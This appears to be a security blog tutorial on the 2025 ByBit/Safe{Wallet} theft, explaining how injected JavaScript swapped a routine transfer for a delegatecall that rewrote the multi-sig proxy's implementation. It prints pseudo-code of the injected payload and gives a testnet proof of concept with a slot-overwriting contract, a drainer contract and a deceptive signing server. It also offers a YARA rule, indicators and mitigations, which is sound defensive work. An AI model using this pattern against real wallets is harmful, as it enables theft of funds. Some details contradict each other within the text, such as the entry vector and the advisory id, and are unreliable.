Skip to content
Back to Blog

tutoriales · 17 min read

ByBit / Safe{Wallet}: how Lazarus stole $1.5B by flipping a flag from operation=0 to operation=1

On 21 February 2025, TraderTraitor drains 401,347 ETH from ByBit's cold wallet. The multi-sig has no bug, the blockchain has no bug: what breaks is the visualisation chain. JavaScript injected into app.safe.global from a Safe developer machine compromised by a malicious Docker project 17 days earlier. The signer sees a routine transfer; what they sign is a delegatecall that rewrites slot 0 of the proxy.

· Manuel López Pérez · tutoriales

On 21 February 2025, TraderTraitor drains 401,347 ETH from ByBit's cold wallet. The multi-sig has no bug, the blockchain has no bug: what breaks is the visualisation chain. JavaScript injected into app.safe.global from a Safe developer machine compromised by a malicious Docker project 17 days earlier. The signer sees a routine transfer; what they sign is a delegatecall that rewrites slot 0 of the proxy.

On 21 February 2025, TraderTraitor (a North Korean cluster within Lazarus) empties ByBit’s Ethereum cold wallet: 401,347 ETH, around $1.5B at the day’s price. It is the largest crypto theft on record. The FBI formally attributes it on 26 February to the Democratic People’s Republic of Korea.

The multi-sig has no bug. The blockchain has no bug. The signers do not fall for traditional phishing. What breaks is the visualisation chain between what the smart contract is about to execute and what the human signer sees. JavaScript injected into app.safe.global shows the signer a routine transfer; the calldata they sign is a delegatecall to an attacker-controlled contract that rewrites the proxy multi-sig’s implementation address. A single flag, operation=0operation=1, removes the execution isolation and hands over control of the cold wallet.

Sources: work based on the technical post-mortems from Sygnia, Verichains and NCC Group, the official Safe statement and the FBI advisory of 26 February. Own PoC on Sepolia testnet reproducing the divergence between UI and signed calldata — no traffic against third parties, no victim.

What happened, in one sentence

Attackers with access to the S3 bucket serving app.safe.global replace a single JavaScript file (_app-52c9031bfa03da47.js) with code that detects when the signer is the ByBit cold wallet address, intercepts the transaction the user wants to propose, and substitutes it before passing it to the hardware wallet. The signer on the Ledger sees hash + basic parameters (to, value, data) in hex format that is not readable without clear signing, assumes the UI correctly represents the operation, and approves. The other two signers do the same in sequence. The transaction that executes the 3-of-N multi-sig passes the threshold, lands on-chain, and the cold wallet has just yielded control of its implementation to an attacker contract.

Two minutes later, the attackers replace the malicious JavaScript with the original. There is barely a trace in the frontend. Forensics is done on on-chain data and AWS access logs.

The vulnerable piece: Safe{Wallet} as a delegated UI

ByBit uses Safe{Wallet} (formerly Gnosis Safe) to custody its Ethereum cold wallet under a multi-sig scheme. The contract is the standard Gnosis Safe proxy at 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4. The signing UI ByBit operators use is the official hosted Safe version at app.safe.global, served from an S3 bucket controlled by the Safe Ecosystem Foundation.

Important: the Safe contract itself is not compromised. The contract is on-chain, immutable, no known bug. What yields is the hosted frontend, the web app the signer’s browser points to in order to compose the transaction.

For a signer operating a multi-sig holding hundreds of millions, that is already the dangerous decision: the UI showing “what is about to be signed” is JavaScript served from infrastructure whose supply chain the signer does not control. Anyone with access to the frontend deploy has the ability to insert themselves between the signer and their hardware wallet.

Phase 1 — Developer machine compromise (4 Feb 2025)

According to the forensic report from Sygnia on 26 February 2025, the chain starts with a macOS workstation belonging to a Safe developer (referenced as “Developer1”).

On 4 February at 19:05:44 UTC Developer1 initiates traffic to the domain getstockprice[.]com from a Docker project named MC-Based-Stock-Invest-Simulator-main sitting in ~/Downloads. The pattern is the signature TraderTraitor TTP: apparently legitimate work — an open-source “stock investment simulator” project — hiding a loader. Once the Docker is run, the host is compromised with local persistence and credential exfiltration.

What TraderTraitor gets from the host:

  • Active AWS session tokens (not the master key; the time-limited STS tokens).
  • Browser cookies, including what is needed to maintain a session in the AWS console and in Safe’s Slack/email.
  • Internal documentation about Safe’s frontend deploy flow.

What they do not get — and this is the interesting piece: a way to add their own MFA device to Developer1’s IAM profile. Sygnia confirms Safe enforces MFA on STS with re-authentication every 12 hours. TraderTraitor’s strategy: do not add their own MFA (that would trigger an alert), but hijack the active session the host malware already holds and work from there.

Phase 2 — AWS persistence without new MFA (5 Feb to 21 Feb)

For 16 days the attackers operate inside Safe’s AWS environment using Developer1’s hijacked session token. Operational details:

  • Origin of connections: ExpressVPN IPs, Kali Linux user-agent. Apparently residential traffic, not a Tor exit node.
  • Time pattern: they match working hours to Developer1’s habitual schedule (timezone, weekdays). Sygnia notes this suggests “deliberate OPSEC” — the strategy is to look indistinguishable from the legitimate user, not to hide in off-hours.
  • Session token refresh: each time the token nears expiry, the attackers refresh it from the compromised host, taking advantage of a refresh window where MFA is not re-requested. Sygnia does not detail the exact primitive but makes clear that as long as Developer1’s host is alive, so is the session.

During those 16 days the attackers map Safe’s AWS environment: they identify the S3 bucket serving app.safe.global, the CloudFront distributions in front, the CI/CD pipelines regenerating the JavaScript bundle, and the habitual signers of large multi-sigs via Safe’s own public UI.

ByBit is the obvious target: the largest multi-sig by TVL on Ethereum, with a predictable transaction pattern from the cold wallet to the operational hot wallet on a weekly basis.

Phase 3 — The JavaScript injection (19 Feb 2025, 15:29:25 UTC)

On 19 February at 15:29:25 UTC the attackers replace the file _app-52c9031bfa03da47.js in the S3 bucket. The modification does not touch the full bundle: they add a JavaScript block that only acts under specific conditions. Sygnia and NCC Group describe the code (without publishing the full malicious file).

Simplified pseudo-code of the payload:

// Injected into the existing app.safe.global bundle
const TARGET_SIGNERS = [
  '0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4', // ByBit cold wallet proxy
  '0x...', // second unidentified address
];

const originalProposeTransaction = WalletSDK.proposeTransaction;

WalletSDK.proposeTransaction = async function (tx) {
  const isTarget = TARGET_SIGNERS.includes(tx.safeAddress);
  if (!isTarget) {
    return originalProposeTransaction.call(this, tx);
  }

  // 1. Save the original transaction the user wants to sign
  const originalTx = { ...tx };

  // 2. Replace it with the attacker's transaction: execTransaction
  //    with delegatecall to the attacker contract
  tx.to = '0x96221423681A6d52E184D440a8eFCEbB105C7242';
  tx.value = '0';
  tx.data = encodeMaliciousCall(); // transfer(0xbDd077f6..., 0)
  tx.operation = 1; // 1 = delegatecall, not 0 = call

  // 3. Send the malicious TX to the hardware wallet for signing
  const signature = await originalProposeTransaction.call(this, tx);

  // 4. Return ORIGINAL transaction data to the UI,
  //    so the "transaction proposed" the user sees
  //    matches what they asked to sign
  return { ...originalTx, signature };
};

The key piece is the operation flag. In the Safe smart contract, execTransaction(...) accepts an operation parameter with values:

  • 0 = CALL — normal invocation to to. The proxy’s storage context is isolated from to.
  • 1 = DELEGATECALLto executes its code inside the proxy’s storage context. Whatever to writes to storage is written to the proxy’s storage.

For routine fund movements (transfer of tokens) the correct flag is 0. The transfer is contained in the token contract. If the signer flips that flag to 1, they hand over control of the multi-sig’s storage to the destination.

Phase 4 — The signed malicious transaction

The transaction that eventually gets signed and executed on 21 Feb 2025 at 14:13:35 UTC carries the following parameters (decoded from the on-chain calldata):

Target Safe proxy:    0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4 (ByBit cold wallet)
Function:             execTransaction(...)
to:                   0x96221423681A6d52E184D440a8eFCEbb105C7242 (attacker contract A)
value:                0
data:                 transfer(0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516, 0)
operation:            1   (DELEGATECALL)
safeTxGas:            0
baseGas:              0
gasPrice:             0
gasToken:             0x0000000000000000000000000000000000000000
refundReceiver:       0x0000000000000000000000000000000000000000
signatures:           <3 valid owner signatures>

The attacker’s trick inside contract A (0x96221423...):

// Approximate pseudocode of the attacker contract
contract MaliciousImpl {
    // Same signature as ERC20 transfer, but a different body
    function transfer(address _to, uint256 _value) external returns (bool) {
        // Since this is invoked via delegatecall from the Safe proxy,
        // assembly { sstore(0, _to) } rewrites slot 0 of the PROXY
        assembly {
            sstore(0, _to)
        }
        return true;
    }
}

The function is named transfer(address,uint256) so that a naive decoding of the calldata makes it look like a routine ERC20 transfer. What it actually does: SSTORE(0, _to) with _to = 0xbDd077f6.... In the Gnosis Safe proxy contract, slot 0 is the address of the implementation (the master copy the proxy delegates to).

When executed via delegatecall, the SSTORE is applied to the proxy’s storage, not contract A’s. The ByBit cold wallet proxy ends up with 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516 as its new implementation. From that point on, every call to the proxy is delegated to attacker-controlled contract B.

Contract B (the new implementation) is no longer a multi-sig: it is a slim contract exposing functions like sweepETH(address) and sweepERC20(address,address) executable by a hardcoded attacker address. No owners, no threshold, no signature. The logic is rewritten.

In the following transactions — minutes later — the attacker calls sweepETH to move the 401,347 ETH from the proxy to their receiving addresses. Several stETH and mETH balances also drop, adding up to $1.5B total.

Phase 5 — Clean-up (21 Feb 2025, 14:15 UTC)

Two minutes after the transaction succeeds, the attackers replace _app-52c9031bfa03da47.js in S3 with the original benign version. Frontend behaviour returns to normal.

Why the fast clean-up matters: had the malicious JavaScript stayed in production, another large multi-sig could have triggered the same flow within hours. The surgical withdrawal minimises the blast radius to a single victim — ByBit — and leaves almost zero frontend forensics.

When Safe starts incident response (alerted by ByBit around 14:30 UTC), the JavaScript is already clean. Forensics is done on the S3 AWS access logs (the 19 Feb modification at 15:29 and the 21 Feb one at 14:15, both from ExpressVPN IPs, are visible) and on the CDN-cached JS bundles some users still hold.

Why it worked — the structural problem

The chain breaks at a single point: the human signer cannot locally verify what they are signing.

The Ledger Nano X devices ByBit’s signers use show, on their small screen, the transaction hash (safeTxHash) and the basic parameters: to, value, data (truncated or in hex). They do not decode data or interpret the operation flag. The signer depends on the frontend to know what that calldata does.

This is called blind signing: the wallet shows just enough to verify it is signing something, but not what that something does. The alternative is clear signing — the wallet decodes the calldata using known ABIs and shows “transfer 0.1 ETH to 0xfriend” or “execTransaction with delegatecall to 0xattacker”. For clear signing to work against Safe contracts, you need:

  1. The wallet to know the Safe ABI (Ledger has supported it since recent firmware).
  2. The Safe app (the Ledger Live → Safe app chain) to be up to date with the mode active.
  3. The signer to use that configuration — not the default hex blind sign version.

The Ethereum Foundation, Ledger, Trezor, MetaMask and WalletConnect announce post-hack a working group on an open clear-signing standard to end blind sign by default. The industry response targets the structural pattern — transaction visualisation — not a particular bug.

The operational question for operators: any multi-sig that today depends on app.safe.global (or another hosted frontend) has the same surface. The defence runs through independent simulation of the transaction before signing, on a channel different from the one proposing it — hardening the multi-sig or the hardware does not solve the problem.

Own PoC on Sepolia — reproducing the UI ↔ calldata divergence

The experiment does not replicate Safe’s frontend (not worth the effort), but the pattern: show the signer one thing and ask them to sign another. Minimal setup on Sepolia testnet, no victim.

Components

- Sepolia RPC: https://sepolia.infura.io/v3/<key>
- Foundry or Hardhat to compile and deploy contracts
- ledger-citrea-app-eth installed on Ledger Nano X (firmware 2.4.x)
- node 20 + express for the local "frontend"

Step 1 — Deploy a 1-of-1 Safe on Sepolia

To avoid juggling three signers, a 1-of-1 Safe with the standard master copy is enough. Using the Safe deployment SDK:

cast send \
  --rpc-url $SEPOLIA_RPC \
  --private-key $OWNER_KEY \
  $SAFE_FACTORY \
  "createProxyWithNonce(address,bytes,uint256)" \
  $SAFE_SINGLETON_140 \
  $(cast calldata "setup(address[],uint256,...)" "[$OWNER]" 1 ...) \
  $(date +%s)

Result: a proxy at 0xLAB_SAFE. Fund it with 0.1 ETH from a Sepolia faucet.

Step 2 — Deploy the attacker contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Mimic {
    // Same signature as ERC20.transfer
    function transfer(address _to, uint256 /* _value */) external returns (bool) {
        // Rewrites slot 0 of the CALLER (the proxy via delegatecall)
        assembly {
            sstore(0, _to)
        }
        return true;
    }
}

contract Drainer {
    address public immutable attacker;
    constructor(address _attacker) { attacker = _attacker; }

    function sweep() external {
        require(msg.sender == attacker, "no");
        payable(attacker).transfer(address(this).balance);
    }
}

forge create Mimic and forge create Drainer --constructor-args $ATTACKER_WALLET. Note down 0xMIMIC and 0xDRAINER.

Step 3 — Local “frontend” that lies

An Express server serving two things: an honest UI for the operator and a different calldata for the wallet:

// server.js — excerpt
import express from 'express';
import { ethers } from 'ethers';

const app = express();
app.use(express.json());

app.post('/propose', async (req, res) => {
  const { safeAddress } = req.body;

  // What we DISPLAY to the operator on the HTML page
  const displayed = {
    to: '0xRECIPIENT',
    value: ethers.parseEther('0.01'),
    data: '0x',
    operation: 0, // normal call
    description: 'Routine transfer 0.01 ETH',
  };

  // What we SEND to the hardware wallet for signing
  const malicious = {
    to: '0xMIMIC',
    value: 0n,
    data:
      ethers.id('transfer(address,uint256)').slice(0, 10) +
      '000000000000000000000000' +
      '0xDRAINER'.slice(2).toLowerCase() +
      '0'.repeat(64),
    operation: 1, // DELEGATECALL
  };

  res.json({ ui: displayed, sign: malicious });
});

The operator-side HTML page renders displayed. The JavaScript function calling the Ledger uses malicious. The divergence is the ByBit attack in miniature.

Step 4 — Sign with the Ledger and see what it shows

With the Ledger Nano X in blind signing enabled mode (the historical default), the device screen shows:

Review transaction
To:    0xMIMIC...                   <— prefix + suffix, easy to miss
Data:  0xa9059cbb...                <— start of the transfer() selector
Value: 0 ETH
Review network fees

The operator, looking only at the browser UI that reads “0.01 ETH transfer to 0xRECIPIENT”, approves without noticing the divergence. The firmware does not decode operation, does not warn that it is a delegatecall.

With the Ledger Nano X in clear signing active + Safe plugin installed mode, the screen shows:

WARNING: delegate call
This transaction will execute code from
  0xMIMIC...
in the context of YOUR SAFE.
Storage may be modified.

Continue?

That warning is the only local defence the signer has. If they read it and reject, no hack. If they trust the frontend UI and approve, all the rest of the multi-sig scheme (M-of-N, hardware wallets, air-gap between signers) no longer protects.

Step 5 — Execute and check slot 0

Once the transaction is signed and sent to execTransaction on the Sepolia Safe, read slot 0 of the proxy:

cast storage 0xLAB_SAFE 0 --rpc-url $SEPOLIA_RPC
# Output (pseudo-format):
# 0x000000000000000000000000<DRAINER_ADDRESS_WITHOUT_0x>

The proxy’s implementation address is now 0xDRAINER. Every call to the proxy delegates there. The attacker calls sweep() directly from their EOA, no multi-sig needed — because there is no multi-sig any more, the proxy’s code has changed. The lab’s 0.1 ETH moves.

The entire Sepolia experiment burns < 0.05 ETH of gas. The point is to understand, without risk, what a wallet actually signs in the ByBit pattern and why clear signing is the control that kills the attack.

Detection and operational mitigation

YARA — signature of the injected JavaScript payload

Verichains publishes a static analysis of the modified JS in app.safe.global. Replicable pattern:

rule lazarus_bybit_safewallet_js_injection
{
    meta:
        ref         = "https://www.verichains.io/security-research/bybit-hack-1.5b-usd-analysis-and-prevention/"
        actor       = "Lazarus / TraderTraitor"
        description = "JS payload injected into app.safe.global on 2025-02-19"
    strings:
        $proxy_addr     = "0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4" ascii  // ByBit Safe proxy
        $attacker_impl  = "0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516" ascii  // malicious implementation
        $attacker_owner = "0x96221423681A6d52E184D440a8eFCEbB105C7242" ascii  // contract A
        $delegatecall  = "operation:1" ascii nocase
        $set_impl       = "setImplementation" ascii
        $cond_filter    = /if\s*\(\s*ownerAddress\s*===\s*['"]0x/ ascii  // target filter
    condition:
        $proxy_addr or $attacker_impl or $attacker_owner or
        (2 of ($delegatecall, $set_impl, $cond_filter))
}

Consolidated on-chain IoCs (Sygnia + Verichains + FBI IC3)

TypeIndicator
Compromised Safe proxy0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4 (ByBit cold wallet)
Attacker contract (implementation)0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516
Attacker contract (owner)0x96221423681A6d52E184D440a8eFCEbB105C7242
Malicious TXBlock 21895241, 2025-02-21 14:13:35 UTC
Signed calldata0x6a76... (function setImplementation(address)) — visible only with clear-signing
Developer machine compromise4 Feb 2025 19:05 UTC (vector: malicious npm package)
S3 JS injection19 Feb 2025 15:29:25 UTC
JS clean-up21 Feb 2025 14:15 UTC (2 min after the TX)
FBI PSAI-022625-PSA, attributing to TraderTraitor (DPRK)

Active detection for multi-sig teams

// Snippet to integrate into your own frontend that validates BEFORE signing:
async function validateSafeTransaction(safeTxHash, expectedCalldata) {
    // 1) Compute the hash locally from the expected calldata
    const localHash = await computeSafeTxHash(expectedCalldata, ...);

    // 2) Compare against what the frontend says it is signing
    if (localHash !== safeTxHash) {
        throw new Error("DIVERGENCE: frontend hash differs from local computation");
    }

    // 3) If operation=1 (DELEGATECALL), abort unless whitelisted
    if (expectedCalldata.operation === 1) {
        const allowedTargets = ['0xKnownUpgrade1', '0xKnownUpgrade2'];
        if (!allowedTargets.includes(expectedCalldata.to)) {
            throw new Error("BLOCKED: delegatecall to non-whitelisted target");
        }
    }
}

Operational lessons:

  1. Mandatory clear signing on every signer. Ledger with firmware ≥ 2.4 + Safe Eth app active. MetaMask with Tenderly / Blockaid simulation enabled. Without clear signing, the signer is placing blind trust in the frontend.
  2. Independent double-check of the payload. Before signing, the operator takes the proposed safeTxHash and decodes it in a second client (e.g. Etherscan’s Transaction Decoder, a local script with cast 4byte-decode, or a service like Tenderly Transaction Simulator). The second client must match what the frontend says; if not, stop.
  3. Block operation=1 outside planned upgrades. A policy guard added to the Safe that rejects any execTransaction with operation=1 outside a whitelist. Safe supports Transaction Guards for this. Delegatecall should be exceptional, not routine.
  4. Network monitoring of the proxy — alert on any change to the implementation slot (slot 0). On-chain monitoring services (Forta, Blockaid) have specific detectors for Safe proxy upgrades.
  5. Air-gap the proposal process. The machine that proposes the transaction must not be the same one that signs. The signing machine must build the transaction from the raw transaction hash received through an alternative channel, not from the frontend JavaScript.
  6. Third-party frontend threat model. If a Safe-dependent operation manages >$10M, the official hosted frontend is an accepted but documented single point of failure. Alternatives: self-deploy of the Safe frontend (it is open-source), or a pure CLI client (Safe CLI, Ape Safe).

Attribution and response

  • 21 Feb 14:13 UTC — the malicious transaction executes.
  • 21 Feb 14:15 UTC — benign JavaScript restored in S3 (attacker clean-up).
  • 22 Feb — Ben Zhou (CEO ByBit) does a public two-hour livestream confirming the hack and 1:1 reserves solvency. ByBit absorbs the loss.
  • 23-26 Feb — Sygnia and Verichains publish initial forensic reports commissioned by ByBit. Mandiant comes in to support.
  • 26 FebFBI publishes advisory PSA-250226 formally attributing the attack to the DPRK via the TraderTraitor cluster. Ethereum address list recommended for exchange-side blocking.
  • 26 FebSafe publishes a timeline post-mortem acknowledging the developer machine compromise and the S3 injection. Commitment to rebuild infrastructure and full credential rotation.
  • March 2025 — the stolen ETH moves through THORChain, DEXs, mixers and cross-chain bridges. As of 20 March, Ben Zhou reports that 86.29 % of the ETH has been converted to BTC, 88 % of the total is still traceable, $280M has entered mixers and is considered “dark”.

What this leaves for the rest of 2025

  • Any multi-sig that depends on a third-party-hosted frontend has the same surface. The operational question is what clear signing is in place + what double-check of the payload + what guard on delegatecall.
  • TraderTraitor remains active and reuses the same initial vector — malicious Docker projects downloaded by developers, especially crypto developers. The TTP has been known since 2022; it still works because a single developer with AWS access is enough to open the chain.
  • Safe’s frontend supply chain is now an industry reference. What we learn from later post-mortems (especially Safe’s 26 February one) should shape how deploys of sensitive infrastructure are designed: zero-trust to the developer machine, ephemeral STS with no persistent hijack possible, separation of roles between who writes code and who promotes to production.

References

Back to Blog

Related Posts

View All Posts »
ByBit, one year on: clear signing, Guardrail and EIP-7702 — what changed in the multi-sig ecosystem

tutoriales · 15 min

ByBit, one year on: clear signing, Guardrail and EIP-7702 — what changed in the multi-sig ecosystem

On 21 February 2026 the ByBit hack turns one. Only 3.5 % of the $1.5B has been frozen. What did change: Safe ships Guardrail (August 2025) blocking unauthorised DELEGATECALL, EIP-7702 hits mainnet with Pectra (May 2025), the Ethereum Foundation takes over ERC-7730 from Ledger and pulls Trezor / MetaMask / WalletConnect into an open clear-signing standard. Updated PoC on Sepolia comparing signing with and without Guardrail+clear signing.

· Manuel López Pérez

Cyber 2025 in review: four cases that explain the year

tutoriales · 10 min

Cyber 2025 in review: four cases that explain the year

ByBit, the UK retail wave (M&S/Co-op/Harrods), SharePoint ToolShell and Windows 10 end-of-support. Four incidents with explicit criterion — no exhaustive top list, no ranking — and the operational lesson each one leaves for 2026.

· Manuel López Pérez

Windows 10 end of support — the day after 14 October

tutoriales · 11 min

Windows 10 end of support — the day after 14 October

On 14 October 2025 free patches for Windows 10 stop. What the system stops receiving, what consumer ESU offers (free in the EEA, $30 outside), what it costs the enterprise, and which CVEs we are likely to see exploited against the installed base.

· Manuel López Pérez